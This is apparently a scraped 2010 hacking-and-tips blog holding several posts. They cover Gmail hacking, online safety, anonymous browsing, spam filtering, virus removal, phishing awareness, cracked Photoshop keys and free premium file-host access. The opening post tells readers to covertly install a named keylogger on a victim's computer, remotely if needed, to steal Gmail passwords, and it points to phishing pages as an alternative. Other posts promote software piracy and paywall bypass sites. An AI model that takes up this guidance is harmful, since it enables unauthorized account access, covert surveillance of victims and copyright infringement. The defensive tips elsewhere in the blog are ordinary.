Noadware is constantly updated to identify the latest threats to your privacy. The software will scan your PC for different Spyware, Adware, Dialers, and Web Bug traces. These items not only create nuisances in the form of popups, system slowdowns and crashes, but many items actually record personal information about you, such as credit cards, social security numbers, or other sensitive information.

How to Hack Gmail Account

2010-07-26T17:06:00.000-07:00

How to Hack Gmail

Gmail is one of the most widely used email services across the globe and it’s no wonder why many people want to hack Gmail. If you are curious to know how to hack gamil then this is the post for you. Here in this post I will show you some of the real and working ways to hack Gmail and will also make you aware of the common scams and myths associated with hacking Gmail.
Before I discuss how to hack Gmail I want to make my readers aware of the common scams and myths associated with hacking Gmail or any other email. So here we go
1. There is no ready made software/program that will hack Gmail just with a click of a button. So never get fooled by something called Gmail hacking software. If there exists such program to hack Gmail then it’s no more than a scam.
2. Most of the email hacking services on the internet claim to hack Gmail password for just a small fee. I have personally tested many of those services and found that most of them are scams.
At this point you may be wondering what are the other ways to hack Gmail then. So here are the working ways to hack Gmail.
With my experience in the field of hacking and security I can tell you that there are only two ways to hack Gmail account.
1. Keylogging
2. Phishing
Any other method to hack Gmail other than these two are simply scam or dont work.

Easiest Way to Hack Gmail

The easiest way to hack Gmail is through keylogging. It is done using a small program/software called keylogger. This keylogger when installed on any computer will capture each and every keystroke including passwords. Also it works in complete stealth mode by completely hiding itself. So installing a keylogger on the computer is the easiest way to hack Gmail. Once the victim logs into his Gmail account from this computer his Gmail username & password are captured and stored instantly. The stored logs are sent to you via email. But what if you do not have physical access to the computer? Well, still you need not worry since I am going to suggest one of the best keylogger program that support installation on a local computer as well as a remote computer. The following supports remote installation as well.

SniperSpy

So to hack any Gmail account all you need to do is install the keylogger on the computer from which the victim is likely to login to his Gmail account. If you do not have physical access then you need to use the remote installation feature to remotely deploy the kelogger.
NOTE: For more details on keylogger read my post How to use Keyloggers

Other ways to Hack Gmail

The other most commonly used trick to hack Gmail is using a Fake Login Page (also called as Phishing). Today, Fake login pages are the most widely used techniques to hack Gmail. A Fake Login page is a page that appears exactly as a Login page of sites like Yahoo, Gmail etc. But once we enter our password there, we end up loosing it.
However creating a fake login page and taking it online to successfully hack a Gmail password is not an easy job. It demands an in depth technical knowledge of HTML and scripting languages like PHP, JSP etc. So if you are new to the concept of hacking passwords, then I recommend using the keyloggers to hack Gmail since it’s the easiest way.

10 Tips for a Total Online Security

2010-07-26T17:04:00.000-07:00

With the sudden rise in the Internet usage across the globe over the past few years, there has also been a rise in the amount of online scams and frauds. Today most of the Internet users are unaware of the most prevailing online threats which pose a real challenge for their safe Internet usage. As a result, Online Security has become a questionable factor for the most Internet users. However it is still possible to effectively combat online insecurity provided that the users are well aware of the common scams and frauds and know how to protect themselves. A study shows that over 91% of the Internet users are unaware of the online scams and are worried about their security. Well if you are one among those 91% then here is a list of 10 tips to ensure your total online security.

1. Always install a good antivirus software and keep it up-to-date. Also install a good anti-spyware to keep your PC away from spywares. Click Here for a list of recommended anti-spyware softwares.

2. Always visit known and trusted websites. If you are about to visit an unknown website, ensure that you do not click on suspectable links and banners.

3. Perform a virus scan on the files/email attachments that you download before executing them.

4. Regularly Update your operating system and browser software. For a better security it is recommended that you surf the Internet through the latest version of your browser program.

5. Never share your password (email, bank logins etc.) with any one for any reason. Choose a strong password (A blend of alphanumeric+special symbols) and change it regularly, eg. every 3 months. Avoid using easy-to-guess passwords. (ex. pet’s name or kid’s name)

6. Always type the URL of the website in your browser’s address bar to enter the login pages. For ex. To login to your Gmail account type http://mail.google.com

7. Before you enter your password on any login page, ensure that you see https instead of http. ex. https://mail.google.com instead of http://mail.google.com. HTTPS protocol implements SSL (Secure Sockets Layer) and provide better security than a normal HTTP. For more information on HTTPS and SSL see Know More About Secure Sockets Layer (SSL).

8. Beware of phishing emails! Do not respond to any email that request you to update your login details by clicking on a link in the body of the email. Such links can lead to Fake Login Pages (Spoofed Pages). For more information on phishing refer What is Phishing?. Also refer How to Protect an Email Account from being Hacked.

9. Always hit the logout button to close your login session rather than abruptly terminating the browser window. Also clear your web browser caches after every session to remove the temporary files stored in the memory and hard disk of your PC.

10. Avoid (Stop) using any public computers or computers in the Internet cafes to access any sensitive/confidential information. Also avoid such computers to login to your email/bank accounts. You cannot be sure if any spyware, keystroke-logger, password-sniffer and other malicious programs have not been installed on such a PC.

By following the above 10 tips your online security can be guaranteed upto 90%. I hope this will help my readers for keeping themselves safe from any of the online insecurities. Cheers! Pass your comments.

Free anonymous web surfing with firefox

2010-07-25T14:28:00.000-07:00

I previously posted on Ultrasurf for anonymous browsing but the problem with ultrasurf was that it only worked with internet explorer.Firefox users Ultrasurf is a useful software to hide your Ip address thus maintaining your online privacy helping in anonymous web surfing.Ultrasurf is used for bypassing firewall/rapidshare etc restrictions.But ultrasurf cannot be used in Firefox hence creating problems for those who want to surf anonymously.Hence for making it compatible with firefox "WJ" addon is used
What is WJ?
WJ is a firefox addon which is used for making ultrasurf compatible with firefox browser.The addon makes it possible to change proxy setting but for this addon to work correctly you should have Ultrasurf installed.With the addon you will get Free anonymous web surfing with firefox.

On installing the addon, its presence is displayed in status bar by "WJ Enabled" or "WJ Disabled".

If you have accidently disabled it, enable it by clicking on it..

How to use WJ for anonymous browsing?

For using WJ for anonymous surfing follow the steps given below:

Step 1:
First of all download WJ addon for firefox.

Step 2:
Now unzip the downloaded file.

Step 3:
Now double click on this file and open it with firefox. It will open with firefox and a dialog box asking about addon installation.

Step 4:
Click Install and addon will be installed.

Step 5:
Restart Firefox to see the addon status in status bar.

Step 6:
Now, start Ultrasurf with addon "WJ enabled".Ultrasurf will provide with 3 proxy servers.

Step 7:
Select any one of them having max speed and now your IP address is changed.

and you are Done! Feel free to ask if you are having any kind of trouble

How to block spams on gmail5 ways on How to block spams on gmail

2010-07-25T14:26:00.001-07:00

What is SPAM?

Spam is the abuse of electronic messaging systems (including most broadcast media, digital delivery systems) to send unsolicited bulk messages indiscriminately. Most widely recognized form of spam is email spam.

While Gmail doesn't filter all spam messages that could reach your inbox, it still does a better job as compared to other webmails such as Yahoo Mail or Hotmail. Apart from consistent improvements being done on Gmail's filters, the utmost ingredient that contribute to the overall effectiveness is the use of community signals.

How to block spams
on gmail:

1. Block image spam

As the webmail filters get better, spam also evolves and becomes harder to block. This is particularly true when it uses images and literary texts. Here's a simple Gmail trick to divert spam messages (contain images) to the Trash folder (or any folder you specify) automatically.

Step 1: Firstly you need to go to 'Settings > Filters' and choose "Create a Filter".

Step 2: Type 'multipart/related .gif' in the 'Has the Words' field and also check the 'Has Attachment' box.

Step 3: Click next and select "Delete It" to move the spam message directly to the GMailTrash folder.

Note: There's a small chance of GMail filter triggering false positive and move few important emails from real senders to the Trash folder. To make sure this thing doesn't happen, create a new folder (label) in gmail and change the instruction to redirect all related mails to the new folder. You can sort out the mails later on during your free time.

2. The Plus Hack

If you like to sign up for internet freebies or buy things online, this tip will definitely come handy. Creating alias emails for aforementioned activities which are very likely to spam you, is an effective way to completely reduce number of spams in your Gmail mailbox. Not only you can track who is the culprit and you can also accurately learn with whom your email is shared with.

To do this, simply put a '+' after your account name and add words.

Example: I can do 'eches+online_deal@gmail' or 'eches+spammer@gmail.com'. All these mails will come into your mailbox anyway, but they can easily be filtered to a folder and even to trash them.

3. The Googlemail Hack

When you registered with Gmail account, you are actually given two email addresses

yourusername @gmail.com
yourusername @googlemail.com

You can use both without having fear the later might not reach your mailbox. Like the above trick, you can take advantage of these two domains so that less spam reaches your Gmail Inbox via filtering system.

For example you distribute 'yourusername @googlemail.com' address to your close contacts while keeping the 'yourusername @gmail.com' address for public. Set filter such that all 'yourusername @googlemail.com' to be delivered to a special folder. This is a definitive way to ensure important messages not to be diverted to Trash folder by mistake.

4. The Dot Hack

Gmail doesn’t acknowledge dots (.) in your account name. So I can use 'eches.net@gmail.com' or without any dots at all. Either way will return to 'echesnet@gmail.com'.

Again you can use the power of filter system to divert certain aliases to specific folders or directly to Trash folder.

I hope you can you use some of the tips above to reduce spams in your Gmail mailbox. Again, these tips are not definitive ways to completely eliminate spams but they can effectively reduce the spam numbers.

Gmail may be the best mail arround but it lacks some common features like blocking a spammer from sending you mails. But thankfully here is away to do this.You can send mails from a id to the Trash automatically.

5.Block spammers on gmail:

Select "create a new filter" next to search box

Type the desired email address under From:

Click Next .

Check Delete it box under Choose action.

Save it.

If you wish to blocks a entire domain type just "@example.com". (without quotation marks)

To block more than one address, separate them with "" (without quotation marks).

For eaxample you can block both spammer1@example.com and spam2@example.com by typing spammer1@example.com

How to remove msn virus - Procedure

2010-07-25T14:25:00.001-07:00

Follow the steps to Remove MSN Virus / Generic2.EXO / Backdoor.Generic3.SAT

Uninstall MSN messenger.
Go to Start > Control Panel > Add/Remove Programs.
Find Toolbar888 and uninstall it
Press CTRL+ALT+DELETE
Just end the following process(don?t worry if you cant find all of them):
Update.exe
goll.exe
loadadv455.exe
drsmartload.exe
goll.exe
two.exe
vcncr.exe
rorjxk.exe
eyewblbby.exe
cgqrvrva.exe
Now Delete the Following Folders :

C:\Program Files\Common Files\{28676FB5-0AE9-3081-1205-03030930003d}\
C:\Program Files\Common Files\{38676FB5-0AE9-3081-1205-03030930003d}\
Search and delete all occurances of the following files(dont worry if you dont all of these).
goll.exe
drv.exe
loadadv455.exe
one.exe
two.exe
The files are found in
"C:\Windows\system32\"
"C:\Documents and Settings\[current user] " ( [current user] is the name you are currently logged on as)
"C":\ (be careful what you delete here)
Scan your computer with a AV. Now all that you may need to reinstall MSN Messenger again.
So this is how msn virus can be removed

How to identify phishing scams

2010-07-25T14:24:00.001-07:00

What is Phishing?

In the field of computer security, phishing is the criminally fraudulent process of attempting to acquire sensitive information such as usernames, passwords and credit card details by masquerading as a trustworthy entity in an electronic communication.

What does a phishing scam look like?

Phishing e-mail messages take a number of forms. They might appear to come from your bank or financial institution, a company you regularly do business with, such as Microsoft, or from your social networking site.

The following is an example of what a phishing scam in an e-mail message might look like.
Example of a phishing e-mail message, which includes a deceptive Web address that links to a scam Web site.

Here are a few phrases to look for if you think an e-mail message is a phishing scam.
1.Verify or update your account:

Businesses should not ask you to send passwords, login names, Social Security numbers, or other personal information through e-mail.
2.you have won a prize or lottery:
The lottery scam is a common phishing scam known as advanced fee fraud. One of the most common forms of advanced fee fraud is a message that claims that you have won a large sum of money, or that a person will pay you a large sum of money for little or no work on your part
"3.If you don't respond within 48 hours, your account will be closed."
These messages convey a sense of urgency so that you'll respond immediately without thinking.

Tips to protect yourselves from phishing:

1. Don’t reply to, or click links within, emails that ask for personal, financial, or account information.

2. Check the message headers. The ‘From:’ address and the ‘Return-path’ should reference the same source. If necessary, look at the expanded header as some phishing use vulnerable email servers to rout their messages.

3. Instead of clicking the links in emails, go to the websites directly by typing the web address into your browser, cut and paste, or use bookmarks.

4. If on a secure page, look for “https” at the beginning of the URL and the padlock icon in the browser.

5. Use a browser that has a phishing filter (Firefox, Internet Explorer, or Opera).

6. If you ever need to change your account information, such as your billing details or your password, you should always sign in to your account from the main login page of your trusted network (i.e. your bank’s main website) and make the changes directly within your account.

Hack Gmail account with Gmail Hacking tool

2010-07-23T14:55:00.003-07:00

Previously i have posted alot of articles on Gmail hacking.Recently the number of users Gmail users have increased, therefore Gmail have been the major target of lots of hackers.People use Gmail as a primary email and therefore if hackers can gain access to their primary email accounts so therefore they can also hack other accounts associated witth your Gmail account.

A long time back Google introduced the ability to optionally encrypt any transmission to / from GMail and not just the login sequence. Previously Gmail used to encrypt the login sequence only. All other data was transmitted unencrypted over the wire making such hacking possible. Every ething that you are doing on your gmail account is transmitted unencrypted over the web.

This makes Gmail velnurable to Session hijacking, the hacker can force your browser with Gmail Hacking tool to send a cookie file.Once the hacker gets the cookies he can login into your gmail account with out your username and password.Any one with basic knowledge of computers can use this tool to hack your gmail password.

How to protect your gmail account from getting hacked?

So this question might arrive in your minds, well the answer is simple you just need to change your browser connection to https.
To change your browser connection to https kindly perform the following steps:

1.Sign in to Gmail.

2.Click Settings at the top of any Gmail page.

3.Set 'Browser Connection' to 'Always use https.'

4.Click Save Changes.

5.Reload Gmail.

Adobe Photoshop cs5 Serial key

2010-07-23T14:55:00.001-07:00

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As we all know that Adobe Photoshop is one of the most popular Image editing software.Its latest version Adobe photoshop CS5 makes images highly customizable and tweakalbe,more over Adobe is used by professional photographers who want perfect digital image,but due to its high price a very few number of people can afford it.So therefore i searched for Adobe Photoshop CS5 Serial Number or Keygen and finally found some working Adobe Photoshop CS5 Serial Numbers.

Here i am posting a link from where you can get Adobe Photoshop CS5 serial Number.

Download Adobe Photoshop CS5 Serial key.

How to Install flash player on Google Chrome browse

2010-07-23T14:53:00.001-07:00

Google chrome is one of the fastest browsers with amazing features.But still has some problems which needs authemtication.Flash sites are not perfectly opening for every one.Many are getting the message to download the latest version of Adobe flash player to display some content in it.So in this article i will tell you on How to install flash player on Google chrome browser

Procedure:

1.Download the flash player for windows xpi file.

2.Rename the file to .zip as its a file which directly interacts with your web browser and changes itself with the extension.

3.Then extract it to a new folder through winzip. You will see a couple files flashplayer.xpt and NPSWF32.dll which you have copy.

4.Then go to the plugins folder of your google chrome browser, which might be at -
C/Documents and settings//Local Settings/Application Data/Google/Chrome/Application/Plugins/

Paste both the files in this plugins folder and then close your Chrome browser and restart it.

Try to check whether the installation is done perfectly, by just watching a video in Youtube which requires the latest version of flash player to play the video.

How to get a free rapidshare premium account

2010-07-23T14:52:00.000-07:00

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I get lots of emails daiy asking me "How to get a premium account for free in rapidshare" or "How to get a free rapidshare premium account"Well today i will show you How to get a a rapidshare premium accounts for free.

Rapidshare,Megaupload,Mediafire etc, has become one of the most famous file sharing networks.But unfortunately most of these file sharing sites have a premium area and the services from the free area are not good.But investing for the premium account for these sites are not really possible for us.So here in this blog i am listing some sites from which you can download like a premium user without investing a dime.These sites are known as Premium Link generators and they offer you to download without any restrictions and also you get full download speed,full download accelerator support and also resume facilities which are totally absent in the free scheme of the file sharing sites.So without wasting any time lets go to business.

How to get a free rapidshare premium account

Free Rapidshare Premium link generator:

Free rapidshare premium link generator help in generating rapidshare premium links without asking for any money. So, even though you don’t have rapidshare premium account, you are able to download rapidshare files at high speed just like Rapidshare premium users. So, i have mentioned below many free rapidshare premium link generator sites to help you download rapidshare files at high speed.

1. Rslinkgens.info

This is a free premium link generator site.The sites which Rslinkgens.info supports are:-

1.Rapidshare.com
2.megaupload.com
3.Easyshare.com
4.gigasize.com.

Limitation:Maximum: 6 files per day Last test: 24/05/2009 Status: Working Limit: 220 mb

2.FastnFree4u.net

This is also a premium link generator site.The sites which fastnfree4u.net supports are:-

1.Rapidshare.com
2.Megaupload.com

3. Nbe-media.net

The sites which Nbe-media.net supports are :-

1.Rapidshare.com
2.Megaupload.com

For all of you who like my post please comment and also leave any premium link generators that you know of.I Am Also Proving a screenshot of a download from these sites which support resume and pause facilities like premium accounts.

There are some more rapidshare premium link generators to get a free rapidshare premium accounts.

1. RsFox.com

2. Oopar.com

3. Rapidshare premium link generator

4. Rapidfile.us

5. Fire Premiums

6. Rapidcheat.com

7. Free Rapid

8. Premium4Free

9. Rapidshare Premium Link Generator

10. Rapidshare premium links

11. Rapid 8

Just check out these free rapidshare premium link generator sites to get rapidshare premium account benefits. If you know any other free rapidshare premium link generator sites, please help others by mentioning those rapidshare premium link generator sites in comments.